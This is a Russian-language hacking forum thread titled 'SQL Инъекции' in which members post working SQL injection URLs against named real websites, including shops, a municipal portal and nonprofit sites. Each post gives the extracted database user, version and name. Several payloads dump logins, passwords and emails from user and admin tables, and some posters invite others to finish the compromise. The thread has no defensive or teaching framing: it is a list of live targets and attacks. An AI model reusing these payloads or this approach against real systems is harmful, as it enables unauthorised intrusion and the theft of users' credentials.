SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.infoholix.net/category.php?mId=-105+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5,6,7,8,9,10+from+users+limit+0,1/*
    User: infomax1_wiha@localhost
    Version: 4.1.22-standard
    Database: infomax1_infoholix2
     
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.findjewellery.co.uk/all/material-gold/f/?price_from=20&price_to=50+or%281,1%29=%28select+count%28*%29,concat%28%28select+concat%28version%28%29,database%28%29,user%28%29%29+from+information_schema.tables+limit+0,1%29,0x3a,floor%28rand%28%29*2%29%29+from+information_schema.tables+group+by+2+limit+1,1%29--
    Version: 5.0.67-community
    Database: findjewe_jewellerysite
    User: findjewe_jewelle@localhost'


    Code:
    http://www.jewellerylove.co.uk/modules/shop/view.asp?Prodcode=HA5145%27+or+1=0
    MSAccess
     
    #11922 Дирижабль, 29 Apr 2010
    Last edited: 29 Apr 2010
    2 people like this.
  3. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.txunitedmga.com/news_article.php?id=-182+union+select+concat_ws(0x3a,username,password),2,3,4+from+users+limit+0,1--+
    user:[email protected]
    version:5.0.22-community-nt:r687_txumga
    Я обломился, может кому повезет? Дерзаем товарищи!
     
    3 people like this.
  4. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    PHP:
    http://www.datacenter-academy.com/site/index.php?id=2+union+select+1,2,3,4,5,6,version()
    версия - 5.0.45
     
    2 people like this.
  5. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    baltisk.ru - Официальный сайт Балтийского Муниципального Района

    Code:
    http://www.baltisk.ru/index2.php?option=com_joomradio&page=show_video&id=-1+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7+--+
    Code:
    5.0.67-log:[email protected]:u148676

    ech-chaab.com PR-7

    Code:
    http://www.ech-chaab.com/ar/index2.php?option=com_joomradio&page=show_video&id=-1+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7+--+
    Code:
    log:[email protected]:ech-chaabcom

    tzaba.gr PR-4

    Code:
    http://www.tzaba.gr/index2.php?option=com_joomradio&page=show_video&id=-1+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7+from+jos_users+--+
    Code:
    5.0.67.d7-ourdelta-log:[email protected]:tzaba

    laplata.abuelas.org.ar PR-4

    Code:
    http://www.laplata.abuelas.org.ar/index2.php?option=com_joomradio&page=show_video&id=-17+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7+--+
    Code:
    5.0.24a-log:uv5642@localhost:uv5642_laplata

    bces-india.com PR-4

    Code:
    http://www.bces-india.com/index2.php?option=com_joomradio&page=show_video&id=-1+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7+--+
    Code:
    5.1.45-log:bcesindi_bcesind@localhost:bcesindi_portal1
     
    3 people like this.
  6. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://sovazs.com/showcontest.phtml?id=-15+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a%20,user(),database(),version()),14,15--
    User: u_sovazs@localhost
    Version: 5.0.51a-24+lenny3-log
    Database: sovazs
     
    4 people like this.
  7. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.gommed.ru/shop/items.php?id=590'+union+select+1,2,concat_ws(0x3a%20,user(),database(),version()),4,5,6,7,8,9,10,11,12/*
    User: gommed_db@localhost
    Version: 5.0.45
    Database: gommed_db
     
  8. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.tptherapy.com/about.php?id=-19'+union+select+1,2,3,concat_ws(0x3a%20,user(),database(),version()),5,6,7,8,9+from+admin/*
    User: tpball_dbadmin@localhost
    Version: 4.1.22-standard
    Database: tpball_default
     
    4 people like this.
  9. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    http://netrock101.com/web/modules/ecal/display.php
    post
    katid=-1 union select concat_ws(0x3a,uname,pass,level,user(),version()),2 from runcms_users

    netrock_netrock@localhost
    5.0.90-community-log

    ------------------
    PS get`ом не пробуйте, пишет абузу в лог
     
    2 people like this.
  10. LanSilot

    LanSilot New Member

    Joined:
    10 Apr 2010
    Messages:
    20
    Likes Received:
    4
    Reputations:
    5
    www.labtam.ru

    Code:
    http://www.labtam.ru/index.php?act=news&id=-9+union+select+1,2,version(),4,5,6,7,8,9,10--
    www.linguaservice.ru

    Code:
    http://www.linguaservice.ru/?act=news&id=-27+union+select+1,version(),3,4,5--
    www.formumandme.com

    Code:
    http://www.formumandme.com/article.php?a=-396+union+select+1,version(),3,4,5,6,7,8,9--
    www.human-consult.net

    Code:
    http://www.human-consult.net/forum/error.php?errorid=-8+union+select+1,version()--
    www.genderwork.ca

    Code:
    http://www.genderwork.ca/cms/displaysection.php?sid=-18+union+select+1,2,version()--
     
    #11930 LanSilot, 30 Apr 2010
    Last edited: 30 Apr 2010
  11. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.kitcom.ru/goods/index.php?gm=-5+union+select+1,2,aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),0x71),0x71)+--
    version : 4.1.21
    user : kitcom@localhost
    database : fpublisher
    os : alt-linux-gnu

    Code:
    http://www.kitcom.ru/goods/index.php?gm=-5+union+select+1,2,aes_decrypt(aes_encrypt(group_concat(login,0x3a,pwd,0x3a,email+SEPARATOR+0x0b),0x71),0x71)+from+users+limit+0,1+--
    /admin/
    /sqladmin/
    /tmp/

    может у кого и получится....
     
    1 person likes this.
  12. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.artlies.org/article.php?id=-1869+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10--+&issue=65&s=0
    version:4.1.25-Debian_mt1
    user:[email protected]
    pr:5
     
  13. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.joinava.org/APS4P20081101A/ava.php?id=-34+union+select+concat_ws(0x3a%20,user(),database(),version())+from+cms_users
    
    User: joinava2_joinava@localhost
    Version: 5.0.90-community
    Database: joinava2_APS3Production
     
  14. LanSilot

    LanSilot New Member

    Joined:
    10 Apr 2010
    Messages:
    20
    Likes Received:
    4
    Reputations:
    5
    ecadigitallibrary.com

    Code:
    http://ecadigitallibrary.com/conference.php?cid=-8+union+select+1,2,version(),4,5,6,7,8,9,10--
     
  15. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.concertonet.com/scripts/cd.php?ID_cd=-1892+union+select+1,2,3,4,5,6,7,8,9,10,11

    user(): sc_concertonet@localhost
    version(): 5.0.45
    database(): sc_concertonet
    OS: шапка
     
    _________________________
  16. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.landroverspb.ru/see.php?view=4&id=-731+union+select+1,2,3,4,5,6,concat_ws(0x3a%20,user(),database(),version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    User: landrospru@localhost
    Version: 4.1.22-lk-log
    Database: landrospru
     
    1 person likes this.
  17. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://fabrica-ptic.ru/rss.php?id=-1+union+all+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),0x71),0x71),5,6,7,8,9,10+--
    version : 5.1.39
    user : prodorog_ptich@localhost
    database : prodorog_ptichiidvor
    os : unknown-linux-gnu

    http://fabrica-ptic.ru/rss.php?id=-1+union+all+select+1,2,3,concat_ws(0x3a,login,pwd,email),5,6,7,8,9,10+from+mysite_authsiteusers--
     
    1 person likes this.
  18. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    http://www.cemsys.com/pressreleases.php?id=78+union+select+1,2,3,4,5,6,7

    Version: 5.0.68-percona-3-log
    Database: cemsyscom_95063_db1
    User: [email protected]


    http://www.idn.cz/portfolio_genre.php?lang=en&id=-78+union+select+1,2,concat(version(),0x3a,user(),0x3a,database())

    Version: 4.0.27
    Database: LH257300@LOCALHOST
    User: LH257300DB
     
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.ih-ra.com/newsroom/full_articles.php?article_ID=-49+union+select+1,concat(userID,char(58),pass,char(32,58,32),email),3,4,5,6,7,8,9,10+from+members+limit+0,1--
     
    _________________________
    1 person likes this.
  20. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.pap.org.sg/articleview.php?id=1514&mode=&cid=-23+union+select+1,2,concat_ws(0x3a%20,user(),database(),version()),4,5,6,7,8,9/*
    User: pap_db@localhost
    Version: 5.0.22
    Database: pap

    Google PR: 6
     
Thread Status:
Not open for further replies.